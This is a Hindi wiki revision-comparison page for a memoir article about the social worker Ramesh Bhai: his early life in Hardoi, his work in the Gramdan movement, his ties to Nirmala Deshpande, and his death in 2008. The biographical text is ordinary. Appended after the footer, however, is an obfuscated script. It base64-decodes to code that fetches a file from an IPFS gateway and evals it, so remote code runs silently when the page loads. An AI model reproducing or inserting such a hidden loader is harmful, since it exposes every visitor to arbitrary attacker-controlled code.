"समय की शिला पर लिखा नाम रमेश भाई -अशोक कुमार शुक्ला" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "पढने" to "पढ़ने")
 
(3 सदस्यों द्वारा किये गये बीच के 7 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
 +
{{स्वतंत्र लेखन नोट}}
 
{{सूचना बक्सा पुस्तक
 
{{सूचना बक्सा पुस्तक
 
|चित्र=Book ramesh bhai - Copy.png  
 
|चित्र=Book ramesh bhai - Copy.png  
पंक्ति 11: पंक्ति 12:
 
| भाषा = [[हिन्दी]]  
 
| भाषा = [[हिन्दी]]  
 
| देश = [[भारत]]
 
| देश = [[भारत]]
| विषय =[[रमेश भाई]] से जुडे आलेख
+
| विषय =[[रमेश भाई के प्रेरक प्रसंग]]
| शैली =  
+
| शैली =
| मुखपृष्ठ_रचना =[[रमेश भाई -अशोक कुमार शुक्ला| ज्यों की त्यों धर दीनी चदरिया (संकलित आलेख)]]
+
| मुखपृष्ठ_रचना = [[प्रेरक प्रसंग]]
 
| प्रकार = संस्मरण  
 
| प्रकार = संस्मरण  
 
| पृष्ठ = 80
 
| पृष्ठ = 80
पंक्ति 31: पंक्ति 32:
 
:::::[[गोपालदास नीरज]]  
 
:::::[[गोपालदास नीरज]]  
  
कदाचित, ऐसी परिस्थितियां सम्पूर्ण विश्व के समक्ष अक्सर आती रहती हैं जब किसी महान आत्मा के कार्य को समय रहते समय रहते उसके जीवन काल में तथा इमानदारी से मूल्यांकित नहीं किया जा सका हो तथा उसकी मृत्यु के उपरान्त ही उसके द्वारा किये गये कार्य का वास्तविक मूल्यांकन  किये जाने का प्रयास किया गया हो। ऐसी भूलों के लिये  कदाचित परिस्थितियों केा निरपेक्ष रूप से न देख पाने की हमारी अयोग्यता ही हो सकती है ।   
+
कदाचित, ऐसी परिस्थितियां सम्पूर्ण विश्व के समक्ष अक्सर आती रहती हैं जब किसी महान् आत्मा के कार्य को समय रहते समय रहते उसके जीवन काल में तथा इमानदारी से मूल्यांकित नहीं किया जा सका हो तथा उसकी मृत्यु के उपरान्त ही उसके द्वारा किये गये कार्य का वास्तविक मूल्यांकन  किये जाने का प्रयास किया गया हो। ऐसी भूलों के लिये  कदाचित परिस्थितियों केा निरपेक्ष रूप से न देख पाने की हमारी अयोग्यता ही हो सकती है ।   
  
 
एक ऐसे ही व्यक्तित्व का नाम है रमेश भाई। मैं भी शायद इस नाम और इसके काम से परिचित न हो पाता यदि हरदोई जनपद के नगर मजिस्ट्रेट के रूप में मेरी तैनाती न होती। हांलांकि मुझे इस नाम की जानकारी कई बार यह सुना गया है कि कोई व्यक्ति अपनी मौत  
 
एक ऐसे ही व्यक्तित्व का नाम है रमेश भाई। मैं भी शायद इस नाम और इसके काम से परिचित न हो पाता यदि हरदोई जनपद के नगर मजिस्ट्रेट के रूप में मेरी तैनाती न होती। हांलांकि मुझे इस नाम की जानकारी कई बार यह सुना गया है कि कोई व्यक्ति अपनी मौत  
पंक्ति 39: पंक्ति 40:
 
रमेश भाई अपने बचपन से झूठे आडंबरों और परंपराओं के विरोधी थे शायद इसीलिये रामायण पाठ के लिये व्यास गद्दी पर अनुसूचित जाति के अपने साथियों को बैठाने के कारण सामाजिक जीवन में चर्चा में आये और मृत्यु के उपरांत अपनी पुत्री के हाथों मुखाग्नि पाकर कोरे ढकोसलावादी समाज को मुंह चिढाते हुये चले गये।  
 
रमेश भाई अपने बचपन से झूठे आडंबरों और परंपराओं के विरोधी थे शायद इसीलिये रामायण पाठ के लिये व्यास गद्दी पर अनुसूचित जाति के अपने साथियों को बैठाने के कारण सामाजिक जीवन में चर्चा में आये और मृत्यु के उपरांत अपनी पुत्री के हाथों मुखाग्नि पाकर कोरे ढकोसलावादी समाज को मुंह चिढाते हुये चले गये।  
  
रमेश भाई ने बहुत छोटी उम्र से ही सामाजिक कार्य करना प्रारंभ कर दिया था। अध्ययनशील रमेश के लिये ‘‘सामाजिक श्रेत्र में विनोवा’’ का विषय इन्होंने शोध के लिये चुना और इस विषय से संबंधित साहित्य को पढने के दौरान विनोवा जी के विचारो से इतना प्रभावित हुये कि अंततः विनोवा जी की विचार धारा को ही समर्पित हो गये।
+
रमेश भाई ने बहुत छोटी उम्र से ही सामाजिक कार्य करना प्रारंभ कर दिया था। अध्ययनशील रमेश के लिये ‘‘सामाजिक श्रेत्र में विनोवा’’ का विषय इन्होंने शोध के लिये चुना और इस विषय से संबंधित साहित्य को पढ़ने के दौरान विनोवा जी के विचारो से इतना प्रभावित हुये कि अंततः विनोवा जी की विचार धारा को ही समर्पित हो गये।
  
 
विहार में ग्रामदान आन्दोलन में सक्रिय रूप से भाग लिया जिसमें सम्पूर्ण ग्राम की भूमि को एकजुट होकर खेती किये जाने की योजना थी इसी आन्दोलन के दौरान आप [[निर्मला देशपाण्डे]] जी के संपर्क में आये और विनोवा जी के रहने पर आश्रम की स्थापना की।
 
विहार में ग्रामदान आन्दोलन में सक्रिय रूप से भाग लिया जिसमें सम्पूर्ण ग्राम की भूमि को एकजुट होकर खेती किये जाने की योजना थी इसी आन्दोलन के दौरान आप [[निर्मला देशपाण्डे]] जी के संपर्क में आये और विनोवा जी के रहने पर आश्रम की स्थापना की।
  
वे विशेष रूप से महिलाओं के लिये बहुत से संवेदन शील थे। शायद यही कारण था कि वे [[पद्य विभूषण]] स्व0 निर्मला देशपाण्डे जी की टीम के विश्वसनीय सहयोगी रहे । यह मात्र संयोग ही था कि [[1 मई]] [[2008]] की सांयः हरदोई स्थित सर्वोदय आश्रम से अपने सत्तावनें जन्मदिवस पर निर्मला देशपाण्डे जी से आर्शिवाद ग्रहण करने उनके नई दिल्ली आवास पर तडके पहुंचे रमेश भाई को बहन निर्मला का पार्थिव शरीर देखने को मिला। एक सच्चे सहयोगी के लिये इससे बडा दुख कोई नहीं हो सकता सो रमेश भाई भी इस सदमे से उबर न सके  और छह माह के उपरांत 19 नवम्बर के दिन [[सर्वोदय आश्रम टडियांवा]] में आपने भी देह त्याग दी। अपनी मृत्यु के उपरांत भी रमेश भाई सामाजिक रूढियों और नारी सशक्तीकरण के लिये चट्टान बनकर खडे नजर आये जब उनके पुत्र अनुराग के उपस्थित होने के बावजूद उनकी पुत्री रश्मि ने उन्हें मुखाग्नि दी।  
+
वे विशेष रूप से महिलाओं के लिये बहुत से संवेदन शील थे। शायद यही कारण था कि वे [[पद्म विभूषण]] [[निर्मला देशपाण्डे]] जी की टीम के विश्वसनीय सहयोगी रहे । यह मात्र संयोग ही था कि [[1 मई]] [[2008]] की सांयः हरदोई स्थित सर्वोदय आश्रम से अपने सत्तावनें जन्मदिवस पर निर्मला देशपाण्डे जी से आर्शिवाद ग्रहण करने उनके नई दिल्ली आवास पर तडके पहुंचे रमेश भाई को बहन निर्मला का पार्थिव शरीर देखने को मिला। एक सच्चे सहयोगी के लिये इससे बडा दु:ख कोई नहीं हो सकता सो रमेश भाई भी इस सदमे से उबर न सके  और छह माह के उपरांत 19 नवम्बर के दिन [[सर्वोदय आश्रम टडियांवा]] में आपने भी देह त्याग दी। अपनी मृत्यु के उपरांत भी रमेश भाई सामाजिक रूढियों और नारी सशक्तीकरण के लिये चट्टान बनकर खडे नजर आये जब उनके पुत्र अनुराग के उपस्थित होने के बावजूद उनकी पुत्री रश्मि ने उन्हें मुखाग्नि दी।  
  
 
देश समाज में कुछ ऐसे लोग भी जन्म लेते हैं जिन से समकालीन लोग न केवल सीखते हैं बल्कि प्रेरित भी होते हैं। यह लोग दूसरों के लिए एक ऐसे पथ का निर्माण करते हैं जिससे बहुत समय तक लोग प्रेरणा पाते रहते हैं। इनके प्रकाश से लोग लम्बे समय तक आलोकित रहते हैं।
 
देश समाज में कुछ ऐसे लोग भी जन्म लेते हैं जिन से समकालीन लोग न केवल सीखते हैं बल्कि प्रेरित भी होते हैं। यह लोग दूसरों के लिए एक ऐसे पथ का निर्माण करते हैं जिससे बहुत समय तक लोग प्रेरणा पाते रहते हैं। इनके प्रकाश से लोग लम्बे समय तक आलोकित रहते हैं।
  
;आगे पढ़ने के लिए [[रमेश भाई -अशोक कुमार शुक्ला| ज्यों की त्यों धर दीनी चदरिया (संकलित आलेख)]] पर जाएँ
 
 
</poem>
 
</poem>
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
==बाहरी कड़ियाँ==
 
 
 
==संबंधित लेख==
 
==संबंधित लेख==
{{सामाजिक कार्यकर्ता}]
+
{{स्वतंत्र लेख}}
{{समाज सुधारक}}
+
{{सामाजिक कार्यकर्ता}}{{समाज सुधारक}}{{भारत में स्थित आश्रम}}
{{भारत में स्थित आश्रम}}
 
 
[[Category:अशोक कुमार शुक्ला]][[Category:रमेश भाई]]
 
[[Category:अशोक कुमार शुक्ला]][[Category:रमेश भाई]]
 
[[Category:समकालीन साहित्य]][[Category:साहित्य कोश]]
 
[[Category:समकालीन साहित्य]][[Category:साहित्य कोश]]

07:36, 7 नवम्बर 2017 के समय का अवतरण

Icon-edit.gif यह लेख स्वतंत्र लेखन श्रेणी का लेख है। इस लेख में प्रयुक्त सामग्री, जैसे कि तथ्य, आँकड़े, विचार, चित्र आदि का, संपूर्ण उत्तरदायित्व इस लेख के लेखक/लेखकों का है भारतकोश का नहीं।
समय की शिला पर लिखा नाम रमेश भाई -अशोक कुमार शुक्ला
रमेश भाई से जुडे आलेख
संपादक अशोक कुमार शुक्ला
प्रकाशक भारतकोश पर संकलित
देश भारत
पृष्ठ: 80
भाषा हिन्दी
विषय रमेश भाई के प्रेरक प्रसंग
प्रकार संस्मरण
मुखपृष्ठ रचना प्रेरक प्रसंग‎

समय की शिला पर लिखा नाम रमेश भाई!

आलेखः-अशोक कुमार शुक्ला
पी.सी.एस. , हरदोई

कोई चला तो किसलिए नजर तू डबडबा गयी
हंसी क्यों सहम गयी मुस्कान क्यों लजा गयी
न जन्म कुछ न मृत्यु कुछ बस इतनी सी तो बात है
किसी की आंख खुल गयी किसी को नींद आ गयी।
गोपालदास नीरज

कदाचित, ऐसी परिस्थितियां सम्पूर्ण विश्व के समक्ष अक्सर आती रहती हैं जब किसी महान् आत्मा के कार्य को समय रहते समय रहते उसके जीवन काल में तथा इमानदारी से मूल्यांकित नहीं किया जा सका हो तथा उसकी मृत्यु के उपरान्त ही उसके द्वारा किये गये कार्य का वास्तविक मूल्यांकन किये जाने का प्रयास किया गया हो। ऐसी भूलों के लिये कदाचित परिस्थितियों केा निरपेक्ष रूप से न देख पाने की हमारी अयोग्यता ही हो सकती है ।

एक ऐसे ही व्यक्तित्व का नाम है रमेश भाई। मैं भी शायद इस नाम और इसके काम से परिचित न हो पाता यदि हरदोई जनपद के नगर मजिस्ट्रेट के रूप में मेरी तैनाती न होती। हांलांकि मुझे इस नाम की जानकारी कई बार यह सुना गया है कि कोई व्यक्ति अपनी मौत

रमेश भाई का जन्म 1 मई सन 1951 मे हरदोई के छोटे से ग्राम थमरवा में राज दरबार के सहायक कार्मिकों के एक मध्यम वर्गीय शिक्षक परिवार में हुआ था। इनकी माता तथा पिता दोनो स्थानीय विद्यालय में अध्यापक थे। इनके पितामह भी अध्यापक थे। जिस ग्राम में रमेश भाई का जन्म हुआ वह आजादी से पूर्व थमरवा रियासत के रूप में जानी जाती थी। यह रियासत थमरूवा कायस्थ जाति के शासको द्वारा शासित थी। इस गांव में कायस्थ शासक के एक कायस्य परिवार राज दरवार के सहायक कार्मिक हुआ करते थे। इस कायस्थ परिवार में रमेश भाई की माता जी रामायण का पारायण करने की शौकीन थी सो यही संस्कार बालक रमेश को भी मिले और इस बालक ने अपने ग्राम में रामायण मण्डली की स्थापना कर डाली। जो ग्राम ग्राम में घूमकर रामायण और सुन्दरकाण्ड का पाठ किया करती थी।

रमेश भाई अपने बचपन से झूठे आडंबरों और परंपराओं के विरोधी थे शायद इसीलिये रामायण पाठ के लिये व्यास गद्दी पर अनुसूचित जाति के अपने साथियों को बैठाने के कारण सामाजिक जीवन में चर्चा में आये और मृत्यु के उपरांत अपनी पुत्री के हाथों मुखाग्नि पाकर कोरे ढकोसलावादी समाज को मुंह चिढाते हुये चले गये।

रमेश भाई ने बहुत छोटी उम्र से ही सामाजिक कार्य करना प्रारंभ कर दिया था। अध्ययनशील रमेश के लिये ‘‘सामाजिक श्रेत्र में विनोवा’’ का विषय इन्होंने शोध के लिये चुना और इस विषय से संबंधित साहित्य को पढ़ने के दौरान विनोवा जी के विचारो से इतना प्रभावित हुये कि अंततः विनोवा जी की विचार धारा को ही समर्पित हो गये।

विहार में ग्रामदान आन्दोलन में सक्रिय रूप से भाग लिया जिसमें सम्पूर्ण ग्राम की भूमि को एकजुट होकर खेती किये जाने की योजना थी इसी आन्दोलन के दौरान आप निर्मला देशपाण्डे जी के संपर्क में आये और विनोवा जी के रहने पर आश्रम की स्थापना की।

वे विशेष रूप से महिलाओं के लिये बहुत से संवेदन शील थे। शायद यही कारण था कि वे पद्म विभूषण निर्मला देशपाण्डे जी की टीम के विश्वसनीय सहयोगी रहे । यह मात्र संयोग ही था कि 1 मई 2008 की सांयः हरदोई स्थित सर्वोदय आश्रम से अपने सत्तावनें जन्मदिवस पर निर्मला देशपाण्डे जी से आर्शिवाद ग्रहण करने उनके नई दिल्ली आवास पर तडके पहुंचे रमेश भाई को बहन निर्मला का पार्थिव शरीर देखने को मिला। एक सच्चे सहयोगी के लिये इससे बडा दु:ख कोई नहीं हो सकता सो रमेश भाई भी इस सदमे से उबर न सके और छह माह के उपरांत 19 नवम्बर के दिन सर्वोदय आश्रम टडियांवा में आपने भी देह त्याग दी। अपनी मृत्यु के उपरांत भी रमेश भाई सामाजिक रूढियों और नारी सशक्तीकरण के लिये चट्टान बनकर खडे नजर आये जब उनके पुत्र अनुराग के उपस्थित होने के बावजूद उनकी पुत्री रश्मि ने उन्हें मुखाग्नि दी।

देश समाज में कुछ ऐसे लोग भी जन्म लेते हैं जिन से समकालीन लोग न केवल सीखते हैं बल्कि प्रेरित भी होते हैं। यह लोग दूसरों के लिए एक ऐसे पथ का निर्माण करते हैं जिससे बहुत समय तक लोग प्रेरणा पाते रहते हैं। इनके प्रकाश से लोग लम्बे समय तक आलोकित रहते हैं।

टीका टिप्पणी और संदर्भ

संबंधित लेख

स्वतंत्र लेखन वृक्ष


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>